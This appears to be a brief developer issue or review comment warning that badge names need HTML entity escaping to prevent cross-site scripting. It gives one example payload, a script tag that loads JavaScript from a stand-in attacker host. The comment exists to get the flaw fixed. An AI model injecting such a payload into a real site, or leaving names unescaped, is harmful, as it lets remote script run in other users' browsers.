XSS vulnerability: need to HTML entity escape the badge name or else someone could have a name like: 
```html
<script src='http://evil-site.xxx/skullduggery.js'></script>
```